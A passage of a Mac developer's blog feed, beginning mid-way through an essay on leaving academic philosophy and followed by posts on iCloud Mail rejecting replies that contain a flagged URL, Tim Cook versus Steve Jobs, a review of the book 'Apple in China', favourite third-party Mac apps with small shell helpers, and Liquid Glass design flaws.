In one sense, philosophy is the most prolific intellectual enterprise ever. In another sense, though, today’s philosophy is not the same as the original, thousands of years ago. The ship of Theseus has sailed. The term “philosophy” ultimately derives from a Greek word meaning simply love of wisdom. At the time of the ancient Greek philosophers Socrates, Plato, and Aristotle, the sciences were still nascent or nonexistent. Aristotle himself is said to have founded several of them. The widespread specialization and professionalization of science came much later. I fear that philosophy may be stuck in the past. The lines of philosophical inquiry that were productive, allowing rapid progress, branched off into their own separate endeavors. Is it possible that what remains is mostly detritus, the intellectual dead ends? To a greater extent than many other academic fields, philosophy brings its own history to the present. Philosophy departments still study those ancient Greek thinkers extensively, while biology departments, for example, do not. The Enlightenment is also well represented in current coursework: René Descartes, David Hume, Immanuel Kant. As brilliant as Isaac Newton was, his Principia is not read by contemporary physics undergraduate students, though they do of course study Newtonian mechanics. What is fruitful in science is distilled into textbooks, duplicated, and disseminated. Isn’t it a bit odd that philosophy professors feel the need to steer students backward in time? Does that indicate a failure of philosophical progress? Or is academic philosophy primarily a history of ideas?

One might claim that philosophy now consists of the hardest problems, and that’s why progress is glacial. On the other hand, doesn’t every academic discipline include unsolved problems? It’s not as if the sciences have finished the job, declared victory, and closed up shop. In fairness to philosophy, there are age-old questions of great import that we may never escape, and don’t seem to belong in another field: for example, is there a God? Introductory philosophy classes invariably debate this question (for perhaps several weeks), and even if they didn’t, every person in our society must confront the question at some point, if only to dismiss it. What you may not realize, if your exposure to academic philosophy is only to such an introductory class, is that professional philosophers spend very little of their time debating the existence of God among themselves. Many of them are atheists, some are explicitly Christian philosophers, and those two groups tend to avoid direct conflict, at least on matters of religion. You won’t find pro and con papers in academic philosophy journals.

I don’t blame philosophers for this attitude, because frankly, the arguments are threadbare. There’s nothing new under the sun. The social prominence of religion has inspired unlimited resources to be deployed in the debate, on every side, over the course of millennia. What may appear novel to the undergraduate student who has never thought hard about the subject is merely trite to the philosophers. We’ve heard it all before. I personally doubt whether many minds are changed by introductory philosophy classes—perhaps too little, too late—but it's undeniable that a large number of people care deeply about the question. That doesn’t help with my predicament, however, which was that the questions interesting to academic philosophers in particular, as opposed to the public, seemed to be based on implicit assumptions that I did not share.

My goal and expectation is not to convince anyone with this blog post. I didn’t convince anyone decades ago. It’s more of a confessional. I sinned against academic philosophy. But I’m not begging forgiveness. I’m still unrepentant. I think I just needed closure. Academic philosophy was at the forefront of my life for many years, then suddenly it wasn’t. A feeling of loss lingered. I couldn’t discuss my loss with the very group that I rejected. I didn’t think that I could discuss it with a therapist either; was I supposed to explain in therapy everything I’ve just written above? Maybe now I could simply forward my blog post to a therapist, but I don’t feel the need anymore.

I’ve avoided delving deeper into technical matters here. Although I spent an enormous amount of time at school in the library pouring over books and journal articles, as philosophers do, I feel that attempting to reengage with the material would be futile and distracting to readers, if any readers remain. Moreover, whatever was “the state of the art” in philosophy during my time is likely no longer the state of the art. Academia is publish or perish! Every time I’ve postponed writing about it, I’ve fallen further behind the current discourse. Glancing occasionally at some recent work, I get the impression that the situation in academic philosophy has not fundamentally changed, but I lack the motivation to respond to the latest generation, who might consider my arguments anachronistic. I brought this situation on myself by quitting, and I’m ok with that.

]]>
icloud.com email users can send but not receive malicious links https://lapcatsoftware.com/articles/2025/8/3.html 2025-08-11T14:05:00Z 2025-08-11T14:05:00Z I received a support request for my app Link Unshortener from an icloud.com email address. My first reply to the customer bounced. At first I suspected an issue with Apple’s Hide My Email feature, because I’ve encountered that before, and the first part of the customer’s email address appeared to be randomly generated. However, in the previous case the Diagnostic-Code from the Mail Delivery System said “user does not exist,” whereas in this case it said “Message rejected due to local policy.” The Diagnostic-Code also provided a link https://support.apple.com/en-us/HT204137 to the support document “Postmaster information for iCloud Mail,” which was not particularly helpful and didn’t even mention local policy.

My next guess was that Apple flagged my reply for some reason. I was hoping that icloud.com hadn’t started to reject my email provider, who is the same as my website host, because that would obviously be a major problem for me. It occurred to me, though, that the customer’s email was about URL redirects, because the purpose of Link Unshortener is to reveal the destination URL of redirects! Did icloud.com flag one of the URLs? My reply had quoted the customer’s original email, so the URLs that the customer had sent me were also included in the reply. I decided to try composing a new reply mostly identical to my first bounced reply, except I redacted the URLs from the quote.

Sure enough, my second reply was delivered! One of the redacted URLs was for a QR codes website, and the customer subsequently told me that Cloudflare’s URL scanner flags the URL as malicious (phishing), which strongly suggests that Apple also scanned the URL in the email and rejected it for the same reason.

I think it’s ironic that icloud.com allows users to send URLs that it suspects to be malicious while bouncing replies with the same URLs. Anyway, if your email to an icloud.com user is bounced, this might be why.

By the way, the QR codes website URL appears simply to redirect to a Google Form, which is not malicious, so I don’t know exactly why the URL was flagged. Perhaps the same URL domain has been used in the past for phishing, and thus Apple and Cloudflare have decided that the whole site is malicious.

]]>
Tim Cook vs. Steve Jobs https://lapcatsoftware.com/articles/2025/8/2.html 2025-08-04T15:55:00Z 2025-08-04T16:55:00Z On Friday I published a glowing book review of Apple in China by Patrick McGee. Coincidentally, on the same day UnHerd published an article by Patrick McGee, Time is running out for Tim Cook: Apple lacks strategic vision. I continue to admire McGee’s reporting, continue to recommend his book, and this new article hasn’t changed my mind about that. However, reporters who have made a name for themselves have a tendency to want to become commentators, to add their opinions to their factual reporting. In my own opinion, the opinions of reporters are no better than anyone else’s opinion. The ability to get quality news scoops doesn’t automatically make someone superior at analyzing the implications of that news. Another example of this phenomenon is Mark Gurman of Bloomberg, a prolific source of Apple leaks, unparalleled in tech reporting history; I salute his uncanny prowess as a reporter. Nonetheless, his opinions are pedestrian at best, ill-advised at worst, and I find it regrettable that Gurman’s articles sometimes muddy the distinction between his leaks and his opinions.

Back to McGee’s new article, in which he presents two comparisons, the first between Tim Cook and Steve Jobs:

Back in 2017, Apple’s former head of software, Avie Tevanian, used the metaphor to defend Tim Cook’s leadership. While innovation wasn’t happening at the same pace as it did under Steve Jobs, “they are staying ahead of the competition”, he said. But eight years on, the metaphor no longer defends Cook; it indicts him.

[…]

Today, then, marks a symbolic milestone: Cook has now matched Steve Jobs for his time as CEO — 5,090 days. But whereas nobody was clamouring for change at this point in Jobs’s reign (absent his health concerns), they are coming for Cook on several fronts.

The second comparison is between Apple and other giant tech companies:

Microsoft, mocked in Apple’s “Get a Mac” ads, now leads in valuation, profitability, and product vision. Alphabet has pulled ahead in earnings. Meta shares just hit an all-time high as the company talks up “Superintelligence”. And Nvidia, the chipmaker powering the AI boom, is sprinting so fast it’s now worth $1.2 trillion more than Apple.

[…]

The idea that Cook, who was appointed CEO in 2011, might step down was anathema in January 2022, when Apple first reached a $3 trillion market valuation. Profits during his tenure had soared 3.7 times and shareholder returns had increased twentyfold. But Apple has since stagnated. Annual revenue growth in the past three fiscal years averaged just 2.3%, compared with between 11% and 14% for Alphabet, Amazon, Meta and Microsoft, 24% at Tesla, and 80% at Nvidia. Apple’s market valuation is still enormous, at $3.1 trillion, but it has inched up less than 5% in three-and-a-half years.

Lord knows, I have no desire to defend Tim Cook. As my followers are well aware, I’ve criticized Cook harshly for many years, long before it became popular to call for his ouster. But I’m not an AAPL shareholder and never was. My ongoing grievance is with the way that Apple under Cook has mangled my beloved Mac platform. I don’t care about stock prices or about “artificial intelligence.” I barely even care about iPhone, except as a vehicle to sell my software. Although I wouldn’t mind if Cook were replaced as CEO, my reasons have nothing to do with McGee’s reasons.

Broadly speaking, Alphabet, Amazon, Apple, Meta, Microsoft, Nvidia, and Tesla are all “technology” companies. Looking more specifically, though, each company occupies fundamentally different categories of tech. Apple is a consumer computing hardware manufacturer. Its primary products are smartphones, laptops, desktop computers, and tablets. Other products that it makes, including the so-called “services,” are primarily accessories to or supportive of their consumer computing hardware: e.g., App Store, Apple Music, and iCloud. Apple’s specific product focus has remained unchanged since its founding as “Apple Computer Company.”

On the other hand, Alphabet and Meta are advertising companies. They make most of their money from selling ads, Alphabet on Google Search and Meta on Facebook and Instagram. Does McGee suggest that Apple become an advertising company? How would that fit with Apple’s hardware portfolio? Apple has already faced sharp criticism about how selling search ads in the App Store runs counter to Apple’s narrative about the purpose of the store, to protect consumers. In general, the pursuit of advertising revenue runs counter to Apple’s broader narrative about protecting customer privacy.

Is Meta even “innovative”? Meta has tried to pivot to the so-called “metaverse,” symbolically renaming the whole company from “Facebook” and continuing to pour $billions every year into the effort, yet with not much more return on investment than Apple’s own “spatial computing”, i.e., Vision Pro. And now Meta is trying to pivot to A.I., pouring a ton of money into that too, but with nothing much to show for it. We’re supposed to be impressed by Meta poaching individual Apple engineers with nine-figure pay packages, which in one sense is impressive, just not impressive in the sense of paying off for Meta. Perhaps it will pay off for Meta in the future. Or perhaps not. Meanwhile, Meta is still practically printing money at its old, core business: selling ads on social media. That's not innovative, but it’s the only reason Meta has plenty of money to burn on other efforts.

Nvidia is the latest hot stock, or the latest bubble, depending on your perspective. Financially, Nvidia is kind of a one trick pony: it sells GPUs, for which there is currently a massive, almost insane demand. Would McGee suggest that Tim Cook lacks vision because Apple isn’t in the same business? I don’t think anyone can plausibly claim that if Steve Jobs were still alive and CEO of Apple, he would have manufactured GPUs and sold them to third parties. That’s not what Steve Jobs was all about.

Jobs did not just make tech products willy-nilly, for no other reason than to maximize profit and stockholder returns. He was always focused specifically on consumer computing devices and platforms. That’s what he cared about, and where his experienced rested. When Jobs left Apple in the 1980s, what did he do? Again, he created a new personal computing platform, NeXT, a combination of hardware and operating system, just like the Apple II, Lisa, and Macintosh that came before. Jobs was innovating… on a theme, almost like a classical composer. Jobs was eventually able to return to Apple and become CEO precisely because Jobs made what Apple needed: a personal computer operating system, NeXTSTEP, which became Mac OS X.

It’s instructive to recall that the iPod, Apple’s second hit product under CEO Jobs after the iMac, was not only a consumer electronics device but also originally an accessory to the Mac. The only way to load MP3 files onto an iPod was via iTunes. Indeed, Patrick McGee in his book “Apple in China” recounts the story of how Apple executives had to gang up on Jobs to convince him to release iTunes for Windows, an idea that he had vehemently opposed. I couldn’t stop laughing when I read this quote from Jobs in the book:

“Screw it,” he told colleagues. “I'm sick of listening to you assholes. Go do whatever the hell you want.”

Note that Jobs also had to be convinced to open the iPhone to native third-party software, which it initially lacked. Jobs presented web apps as the “sweet solution” that gave everyone else a sour taste.

Apple could try to make automobiles like Tesla, but why? Apple had no experience making automobiles. This is undoubtedly why Apple’s experiments with self-driving cars were abandoned. A company can’t just make automobiles, as one among many products: it has to be an automobile company, as its raison d'être. Perhaps the prospect of dominating the electric car market would have jacked up Apple’s stock price, at least temporarily, and Tesla has always managed to maintain an irrationally overvalued stock price relative to its revenue and profit. At present, though, the Tesla story is not quite as appealing as before. The company is struggling now with automobile sales—albeit largely due to self-inflicted wounds—and desperately attempting to pivot from direct consumer sales to a taxi service.

I feel that McGee and other critics of Tim Cook fallaciously lump Apple in with other tech companies that are not Apple competitors. Tesla is not an Apple competitor. Neither are Nvidia or Meta, or for that matter, Amazon. You have to ask what makes Amazon a “tech” company. Amazon is primarily a retailer of physical goods. It sells those goods over the internet, which was novel in the 1990s but unremarkable today. I can order food online, but that doesn’t make the restaurant a tech company. If any product qualifies Amazon for the label, I’d say it would be Amazon Web Services. This is a business product, though, not a consumer product. Something like AWS would not fit into Apple's consumer culture and product portfolio. Is anyone suggesting that Steve Jobs would have made something like AWS by Apple? Is that what “innovation” is intended to mean?

Apple is by far the most profitable consumer computing hardware manufacturer in the world. Why are we comparing Apple to Meta and Nvidia rather than to Samsung and Xiaomi on mobile, Lenovo and HP on desktop? Perhaps those markets have become saturated and don’t provide as much room for growth as other potential markets. So what? I get the impression that commentators complaining about Tim Cook’s lack of innovation simply want “growth,” unlimited growth, without any purpose behind that growth, technology without the intersection of the liberal arts, to use a metaphor from Steve Jobs, who always had a purpose, his innovation always oriented toward consumer computing hardware.

It’s fair to view Alphabet and Microsoft as direct competitors to Apple, specifically in the consumer computing operating system market. However, Microsoft Windows revenue has long since been eclipsed by the company’s other business interests, and Android was never the main driver of Alphabet revenue, which as previously mentioned is advertising sales. The role of their operating systems for those companies is much different than the role of Apple’s operating systems. At this point, iOS vs. Android and macOS vs. Windows appears to be more or less a stalemate. In any case, I would note that none of Tim Cook’s critics in the media even care about desktop OS market share, for example. I personally care a lot, but neither I nor desktop computers are “exciting” or “trendy” for tech news media writers. Nobody says that Cook lacks vision because he’s not focused on beating Microsoft Windows. On the contrary, they would probably castigate Cook for focusing on hoary old desktop computing. It’s not the new hotness.

What would Jobs do? I don’t know for sure, but I suspect that he would do what he always did, follow his own inner voice and not jump on whatever latest technology trend the stock market speculators were trying to push on everyone else. While “tech” did ultimately make Jobs a billionaire, it was ironically not via Apple. Jobs made most of his money the “old fashioned” way: by making movies (Pixar), which predate personal computers by about a hundred years.

]]>
Book review: Apple in China by Patrick McGee https://lapcatsoftware.com/articles/2025/8/1.html 2025-08-01T13:40:00Z 2025-08-01T13:40:00Z TL;DR Apple in China: The Capture of the World's Greatest Company, written by Patrick McGee, published in 2025 by Simon & Schuster, is a must-read for anyone in the tech industry or interested in the tech industry. The book takes an inside look at the history, economics, culture, and politics of Apple, its biggest contractor Foxconn, the electronics manufacturing business in general, and the host country for much of that business, China. Despite the book’s length at 42 chapters and 448 pages (including acknowledgements, endnotes and index), I never felt like I had to slog my way through to the end. On the contrary, I found the book to be a page-turner, intriguing and informative throughout, eye-opening and thought-provoking. I offer my highest recommendation. In other words, it's not too long; do read!

Patrick McGee is a reporter who covered Apple for the Financial Times. The majority of source material for the book derived from interviews with well over 100 former and current Apple employees, many of them longtime. It's not a rehash of previous writings. I think I can safely say that you’ve never heard the notoriously secretive Apple like this before. By necessity, this review will sample only morsels of the feast of details served by Apple in China, otherwise my review would become absurdly long. Allow me to set the stage, though, drawing from the first two chapters that recount the period when Apple was not in China, because I think it’s important to put everything into historical perspective.

For 20 years, from its founding in 1976 until 1996, Apple built most of its computers itself, and none of this manufacturing occurred in China. Apple owned factories in the United States, Ireland, and Singapore. In fact, Apple was one the last holdouts against contract manufacturing in the industry. This may be part of the reason why Apple almost went bankrupt. When the IBM PC was introduced in 1981, Steve Jobs underestimated it, even mocked it, seeing that IBM could not match Apple’s excellence in design and usability. Nonetheless, the IBM PC quickly surpassed the Apple II and came to dominate the market, because the PC was entirely commoditized and thus could achieve economies of scale not available to Apple. Even the PC operating system was licensed from another company, Microsoft. The PC was such a massive success that only 3 years later, IBM became the tyrannical Big Brother figure in Apple’s famous Macintosh Super Bowl ad. Unfortunately for IBM, its dominance was short-lived, because that very commoditization facilitated competition, the seeds of IBM’s demise, in PC clone makers who could also license Microsoft’s OS. Today, IBM is not even a player in personal computers, while Microsoft continues to lead the desktop OS market.

Apple started to outsource manufacturing while Jobs was away at NeXT, before the 1997 acquisition that brought him back to Apple. At first it was just the Newton in the early 1990s, manufactured by a contractor in Taiwan at the instigation of Phil Baker, a manager of the Newton project. Later, Baker persuaded Apple to hire Taiwanese contractors to manufacture laptops too. Ultimately, Apple’s hand was forced by financial desperation: as the 90s wore on, quarterly losses mounted, cash reserves dwindled, and at a certain point the company faced the prospect of missing payroll and loan debt payments. In 1996, Apple reluctantly agreed to sell its Colorado factory to SCI Systems, an American contract manufacturer who originally worked for NASA. Other factory sales soon followed.

When Steve Jobs became CEO of Apple in late 1997, he still preferred that the company manufacture its own computers, despite the fact that outsourcing had already begun. Indeed, Jobs canceled the earlier partnership with SCI Systems in Colorado; the book states that this cost Apple $5 million but doesn’t elaborate on the terms of the original deal. In any case, a return to business as usual was not fully possible, because the cutbacks of the 1990s left Apple without the capacity to produce its own monitors for the new iMac, so Apple turned to South Korea’s LG as a contractor. After the iMac became a hit and consumer demand skyrocketed, Apple had to rely more on LG to ramp up the supply, cutting out steps in the process by allowing LG to assemble the end product, since the monitor was already such a large part of the computer. LG opened additional factories to assemble iMacs in the UK and Mexico as a way to spread production over multiple continents, a strategy employed by Apple in the past. However, LG struggled with various issues in its new factories, and LG itself was culturally incompatible with Apple, unwilling and unable to meet Apple’s overbearing demands, a signature of Steve Jobs.

Tim Cook, whom Jobs recruited to join Apple in 1998, received a momentous phone call in 1999 from Terry Gou, the founder of a Taiwanese contract electronics manufacturer variously known as Hon Hai Precision Industry Co., Ltd., Hon Hai Technology Group, or Foxconn. Gou and Cook came to know each other personally during Cook’s short tenure at Compaq, which was Foxconn’s biggest client, and Foxconn had already worked as a minor supplier for Apple. Gou got wind of LG’s manufacturing difficulties with Apple. Sensing an opportunity, Gou directed Foxconn to reverse engineer Apple’s LG-assembled iMac. What he told Cook over the phone was, “I can fix this.”

Terry Gou of Foxconn had huge ambitions. Equally important, Gou, the child of refugees from the Chinese Civil War, had close political connections to local officials in mainland China. After Deng Xiaoping succeeded Mao Zedong as the leader of China, some special regions of the country were given incentives by the central government to attract foreign investment. The local officials provided Taiwan’s Foxconn with anything it wanted—land, machinery, workers—and in turn, Foxconn provided America’s Apple with anything it wanted. This was practically a dream come true for the inveterately dictatorial executives in Cupertino, accustomed to making extravagant demands.

Originally, Foxconn followed Apple’s traditional three continent strategy, opening a factory in the Czech Republic to supplement iMac production from Shenzhen, China, as well as a smaller factory in southern California to manufacturer lower volume Power Macs. However, Apple eventually consolidated manufacturing in China. From chapter 11 of the book:

The experience in the Czech Republic was an important proving ground for Foxconn and its hub model, but what it really demonstrated was that producing hardware in China was cheaper, more efficient, and less subject to media scrutiny. In China, assembly got done at incredible speed and with few complaints. Workers did twelve-hour shifts and lived nearby in dorms. At the Czech site, workers put in fewer hours and were represented by a trade union; they protested conditions and spoke to the press. Plans to build dormitories met local criticism and were abandoned.

As McGee opines in the prologue:

It’s not merely that Apple has exploited Chinese workers, it’s that Beijing has allowed Apple to exploit its workers, so that China can in turn exploit Apple.

The principal argument of the book Apple in China is that Apple is largely responsible for transforming China from a nascent wannabe into a world giant of advanced electronics manufacturing. This transformation was achieved not just with money, though Apple did invest vast amounts of money into China for the purpose of producing iPhones and other Apple products. (McGee compares this in scale to the Marshall Plan for rebuilding Europe after World War II.) More importantly, indeed crucially, Apple transferred its own industry-leading engineering knowledge, skills, culture, and innovative techniques directly from America to China. Factories in China producing Apple products effectively became schools for Chinese workers at all levels, with large numbers of embedded Apple engineers serving as professors. In a way, it was like Chinese citizens attending American universities, except in this case it was the Americans who had to travel overseas for education. As a result, after years of technology transfer, homegrown electronics brands such as Huawei and Xiaomi have become competitive not only inside but also outside of China, competitive even with Apple. The student has become the master, as it were.

What makes Apple unique is their obsessive attention to detail. When Apple works with a contractor, they don’t simply make an order and wait for the order to be fulfilled. Apple’s relationship to its contractors is reminiscent of Amazon’s relationship to its drivers: technically, legally, Amazon drivers are (for some damn reason) not considered employees of Amazon, yet Amazon still controls every aspect of the work of the drivers, practically every minute of their every day, in Orwellian fashion. They drive Amazon trucks, wear Amazon uniforms, and strictly follow Amazon schedules. Amazon provides their drivers with everything… except of course, you know, the standard benefits of employment. Anyway, I’m getting off track, because Apple in China is not a book about Amazon.

If there’s a weak part of the book, it’s that McGee doesn’t fully connect the dots of the technology transfer from Apple to China. That’s because Apple in China is focused almost exclusively on Apple. There are no interviews with employees of Huawei or Xiaomi, for example. McGee’s evidence, replete with first-hand accounts of what happened over the years inside Apple’s Chinese factories, is extensive and powerful, yet circumstantial. To be clear, I don’t dispute McGee’s conclusion, but neither do I think the argument is an open and shut case. In fairness to the author, though, it’s probably unreasonable to expect hundreds of more pages when the amount of material is already voluminous.

My personal takeaway from Apple in China is that nobody comes out of the book looking good: not Steve Jobs, not Tim Cook, not Terry Gou, not “the Blevinator” Tony Blevins (whom you’ll read about if you haven’t already), and certainly not Chinese government leaders. I intend a double meaning for “good” here. First, I think the book bursts the bubble on the apotheosis of these individuals as prognosticators who could see the future and operated according to a predetermined master plan. Although they were clearly smart and talented enough to capitalize on some (not all) of the opportunities presented to them—opportunities that were often fortuitous—they also made major miscalculations, with deleterious consequences. It’s difficult to say who among them was running the show. Did Apple play Foxconn? Did Foxconn play Apple? Did China play Foxconn and Apple? I suspect the answer is that they all played each other, and each benefited greatly from the game, but nobody in 1999 had the vaguest notion of how it would all turn out in 2025. What’s increasingly clear, however, is that Chinese leader Xi Jinping, who assumed office in 2013, has gained the upper hand in the relationship. Foxconn is getting sidelined in favor of Chinese-owned contractors, and Apple has been forced to bend the knee to the totalitarian regime, showing humiliating deference, causing PR and political blowback for Apple at home in America. In reaction to the change in circumstances, Apple is attempting to diversify its supply chain, but the claim that iPhones are now “made in India” is somewhat misleading, because much of the iPhone supply chain prior to final assembly is still deeply embedded in China, and the Chinese government is understandably making it very difficult for Apple to escape the country.

The second, and in my view the more important meaning of “good,” is moral goodness. I think these powerful individuals exhibit a distinct lack of morality and ethics. They egregiously abused their power, constantly exploiting large numbers of people less powerful than them, for no greater purpose than the insatiable pursuit of power, glory, and wealth. The dreadful working conditions of Apple’s contractors in China have already become infamous through reports in the news media; less known, except perhaps to an extent among my own profession of engineering, is how Apple exploits its employees too, at every level, with no more regard for them than for the Foxconn factory workers they often stood side-by-side with in China. All the people in the supply chain, including Apple engineers, are merely cannon fodder in the war for corporate dominance.

Chapter 16 offers a noteworthy anecdote:

The eighty-hour workweeks and increasing need to be in Asia at inconsistent times, with little warning and often for unknown durations, caused massive stress on the engineers’ mental health and their marriages. They were primarily men, and some of their wives took to calling themselves “Apple widows” because their husbands were around so infrequently.

So many marriages were broken up during the first years of Jobs’s comeback that informal preventive measures were established to contain further damage. Engineers called it the DAP, or Divorce Avoidance Program. In the late 1990s, the acronym referred to when an engineer couldn’t come in to work that day because his marriage was on the line.

Ironically, the Divorce Avoidance Program itself had to be abandoned, or at least transmogrified, due to Apple’s continuing inhumane demands on employees. Instead, those sent overseas were offered cash bonuses, called “Dan bucks” after Apple hardware executive Dan Riccio, in order to placate upset spouses.

I’ll end my review with another quote from the same chapter. This is not the “heart” of the book—which again, I highly recommend that you buy and read—but in my opinion it’s the book’s broken heart:

One engineer says the reason he left Apple after more than a decade is that during a routine medical appointment, his doctor noted his high blood pressure and said, “Okay, I need you to do two things for me: lose weight and quit Apple.” The doctor explained that the stress would basically kill him. Some Apple engineers can even rattle off the names of people who died on the production line or upon their return from yet another trip to Asia. The engineers were often in their forties and fifties, and while it’s not possible to conclude that overwork was their cause of death, many believe it was. One longtime veteran recalls that, during the funeral for one of these people, the number of Apple employees who left the Sunday service to join conference calls was unbelievable. According to Walter Isaacson, Jobs even attributed his own cancer to the volume of work he’d taken on in 1997. That’s when he was running both Apple and Pixar, developing kidney stones, and coming home so exhausted that he had trouble speaking. “That’s probably when this cancer started growing,” Jobs told his biographer, “because my immune system was pretty weak at that time.

Jon Rubinstein, who worked for Steve Jobs on and off for sixteen years, called the long workweeks “shattering,” and it’s what led to his own departure later on. “A lot of people got sick at Apple,” he once said. “The list goes on and on of people who got terminally ill or really ill… and I worried that if I stayed, I’d end up damaging myself, and my health was, frankly, more important.

By the way, Apple announced another record financial quarter yesterday. That makes it all worthwhile, right?

]]>
Some third-party Mac apps I use https://lapcatsoftware.com/articles/2025/7/2.html 2025-07-22T13:50:00Z 2025-07-22T13:50:00Z This morning I received an unsolicited email titled “Blog feature Suggestion”:

I have reviewed your blog and I think [Mac app] could be a perfect fit for it. If you’re interested, I’d be happy to share a license key and a unique discount code for your blog, or answer any questions you might have.

Needless to say, the email author has not reviewed my blog, otherwise they would have noticed that I never take blog feature suggestions or solicit advertisers. The only thing I advertise here is myself and my own apps. Nonetheless, the email did inspire me to write a blog post about some third-party Mac apps that I use frequently. This blog post is sincere, unsolicited, and uncompensated. Note that the list below is partial and doesn’t attempt to include every app that I use, hence the “Some” specifier. In alphabetical order:

Alfred

Some people claim that macOS 26 Spotlight has “Sherlocked” apps like Alfred. I think that’s nonsense. In fact, most Sherlocking claims turn out to be nonsense. It may be fun to watch the WWDC keynote and immediately proclaim on social media which apps have been Sherlocked, but this is claim chowder, as they say.

Although I don’t take advantage of Alfred as much as I should, often forgetting about useful features, I still use it many times a day, every day. For example, I’ve set up multiple search engine queries to make up for Safari’s unfortunate lack of search engine customization (which I blame on monopolist Google’s massive annual payments to Apple). I use Alfred to search System Settings, because System Settings itself sucks at search (and sucks at everything else too). I have an Alfred workflow to toggle between light and dark mode appearance by typing “dark.” (I generally prefer light mode but use dark mode right before bed, right after waking up, and sometimes for software testing.)

BBEdit

It doesn’t suck. I use the venerable BBEdit in a number of different ways: to write HTML and JavaScript, to read plist files, to search log files, etc. Increasingly, I’m coming to rely on BBEdit for general plain text editing too, because TextEdit does suck now. (BBEdit can launch as fast as TextEdit if you disable SIP.) Only Apple can unsolve a solved problem such as text editing. TextEdit has become a buggy, unreliable mess as Apple has rewritten TextKit, I suppose to unify the Mac and iOS implementations. Maybe it works fine on iOS, but it’s hopelessly broken on Mac. This is a crying shame. Anyway, BBEdit to the rescue!

I’m still using BBEdit version 14, because I haven’t seen anything in the BBEdit 15 upgrade that I needed.

BetterSnapTool

BetterSnapTool has a number of features (and the developer’s other app BetterTouchTool has even more features), but I use only one them: double-clicking a window title bar to maximize it. macOS has this feature now too, but the problem with the built-in implementation is that the window doesn’t remember that it’s maximized, whereas it does with BetterSnapTool (FB16352998 Finder doesn’t remember window size after Double-click a window‘s title bar to Fill).

BusyCal

I abandoned Apple’s own iCal (now Calendar) app many years ago, way back in Mac OS X Leopard if I recall correctly. BusyCal is the closest to what iCal used to be, before it was ruined.

I’m still using an older version of BusyCal from 2023 and haven’t renewed. BusyCal is not a subscription/rental, and the license never expires, but the purchase provides only 18 months of free updates. Honestly, I preferred older versions of BusyCal before the original developers sold the app in 2017. The newer direction and features are not for me. I’m old school, Mac-only and local-only. On the other hand, I haven’t found a better alternative (I’ve looked), and Apple Calendar certainly hasn’t returned from oblivion, so I’m sticking with BusyCal.

Cocoa Packet Analyzer

Cocoa Packet Analyzer provides a native Mac UI to display packet traces, in contrast to the ugly, confusing, cross-platform UI of Wireshark. I sometimes use Wireshark too, though, for some advanced features.

Find Any File

Find Any File does what Finder used to do in Mac OS X Panther and earlier, before Spotlight: find everything on your Mac, with no exclusions and omissions. I usually display Find Any File search results as a hierarchical file tree, a very convenient way to see what’s on disk. I also frequently search by file content, which is extremely useful for spelunking.

ForkLift

I was a longtime user of Yummy FTP, but its developer Jason Downing died tragically a number of years ago, so now I use ForkLift for SFTP to my websites. I’ve actually become less reliant on ForkLift since I switched to git push from my laptop to my website, but I use ForkLift when I need to perform SFTP manually. I’m still on version 3, because I didn’t need anything in the version 4 upgrade.

Hex Fiend

Hex Fiend is an open source hex editor, originally by “ridiculousfish” AKA Peter Ammon, who also created of the fish shell and used to work on NSMenu at Apple, though now the main developer of Hex Fiend appears to be Kevin Wojniak.

ImageOptim

I use ImageOptim mainly to prepare images for posting on my websites, compressing them and removing unnecessary metadata. The following function is defined in my ~/.zshrc file:

imageoptim() {
  if [[ -z $@ ]]; then
    echo "No argument supplied"
  else
    /usr/bin/sips --deleteProperty profile $@
    /Applications/DragNDrop/ImageOptim.app/Contents/MacOS/ImageOptim $@
  fi
}

Karabiner-Elements

Karabiner-Elements is the latest addition to my third-party apps, as of yesterday! I decided that I should start using “smart quotes” in my blog posts, but since I’m old school and write my blog posts in pure HTML with the aforementioned BBEdit, I need to be able to use “dumb quotes” too, so enabling the system autocorrect/autocorrupt was not a solution. Unfortunately, the built-in macOS keyboard shortcuts for smart quotes are counterintuitive: option-[ is a single left quote, but option-] is a double left quote instead of a single right quote! This is in contrast to the dumb quote key, which uses the shift key to switch from a single quote to double quotes.

Fortunately, I found a solution with Karabiner-Elements and predefined rules submitted by the community, exactly the rules I was looking for, because I’m not the only one who thinks the built-in shortcuts don’t make sense. Karabiner-Elements is kind of an overkill for this one little feature, requiring a driver extension, two background apps, and an input monitor, but what are you going to do?

Little Snitch

I’ve mentioned Little Snitch, the network monitor and firewall, on this blog many times before. It’s an essential tool and the first app I install on a new Mac, before I connect the Mac to the internet! Without Little Snitch, I’d feel naked and exposed.

Mactracker

Mactracker is a wonderful database of basically every Apple device ever made, from the Apple I to the Magic Keyboard for iPad Air, with extensive technical specifications. Do you want to know the screen size of a device, or which OS versions it supports? Check Mactracker!

Mona for Mastodon

I might be unusual, but I do most of my social media browsing and posting from my Mac, only rarely from my iPhone. My preferred Mastodon client is Mona. And yes, I’ve tried others, including the market leader Ivory. Mona isn’t perfect, with a few bugs that annoy me, and unfortunately it’s a Catalyst app, which brings its own set of problems, but I think Mona is the best “power user” Mastodon client, and the most configurable, customizable. I’m satisfied enough with Mona to prevent me from attempting to write my own AppKit Mastodon client app.

PSWD

PSWD is a random password generator that’s configurable with many different criteria to satisfy all of the crazy, stupid websites with arbitrary password requirements and limitations.

UnicodeChecker

UnicodeChecker is a searchable database for Unicode characters. It shows metadata for every character along with code points in various formats. I keep this app in my Dock next to BBEdit and TextEdit.

WorldWideWeb

WorldWideWeb by The Icon Factory is a local web server including Bonjour support. I use it for testing my own websites before I publish changes to the web, and also for testing my web browser extensions. The GUI of WorldWideWeb is a little easier to use than my previous command-line solution:

alias 'lanserver=/usr/bin/dns-sd -R lanserver _http._tcp. local 8000 & jobs; echo "http://mac.local.:8000"; /usr/bin/python3 -m http.server --bind 0.0.0.0'
]]>
Liquid Crass https://lapcatsoftware.com/articles/2025/7/1.html 2025-07-16T13:55:00Z 2025-07-16T14:02:00Z There's so much to say about Apple's new software design, which they call Liquid Glass and I call Liquid Crass. I've already said a bit about it, but as the saying goes, a picture is worth a thousand words.

ChangeTheHeaders Safari extension popup window on macOS 26

Above is the popup window of my Safari extension ChangeTheHeaders on macOS 26. Notice that the scroll bar is clipped at the top! This is why corner radius matters. It's not just an aesthetic choice. Design is how it works, and Liquid Glass does not work right.

Below is the same popup window on macOS 15. (Disclaimer: the screenshots were taken on different Macs, the above with a non-retina display, the below with a retina display.)

ChangeTheHeaders Safari extension popup window on macOS 15

The corner radius, while not zero, is less exaggerated, and thus the top of the scroll bar is not clipped.

